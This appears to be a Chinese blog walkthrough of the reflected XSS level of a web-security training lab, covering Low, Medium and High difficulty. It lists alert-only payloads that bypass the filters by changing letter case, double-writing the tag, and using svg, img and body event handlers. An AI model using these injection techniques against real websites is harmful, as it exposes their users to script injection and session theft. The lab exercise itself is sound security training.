「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」:对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》
XSS Reflected
这一关的功能是:把用户输入的名字在页面显示出来。
用户输入内容后,点击提交,把输入的内容赋值给参数name,使用Get请求传递给后端,后台处理后,在页面输出用户输入的内容。
一、Low级别
低级别没有过滤,直接提交JS代码即可,payload:
<script>alert('就TM你叫韩毅啊')</script>
在输入框中输入 payload,点 submit 提交
弹窗就算过关
二、Medium级别
中级别过滤了 <script
只过滤了小写的 <script,可以用大小写绕过,payload:
<Script>alert('就TM你叫韩毅啊')</script>
在输入框中输入 payload,点击 submit 提交
弹窗就算过关
或者使用双写绕过,payload:
<scr<script>ipt>alert('就TM你叫韩毅啊')</script>
三、High级别
高级别利用正则表达式,过滤了 <script 的所有大小写和复写形式。
后台只过滤 <script,但其他标签没有限制,可以使用替代标签绕过,比如 <scg 或 <img 或 <body 等标签,payload:
<svg onload=alert('就TM你叫韩毅啊')>
<img src=1 onerror=alert('就TM你叫韩毅啊')>
<body onload=alert('就TM你叫韩毅啊')>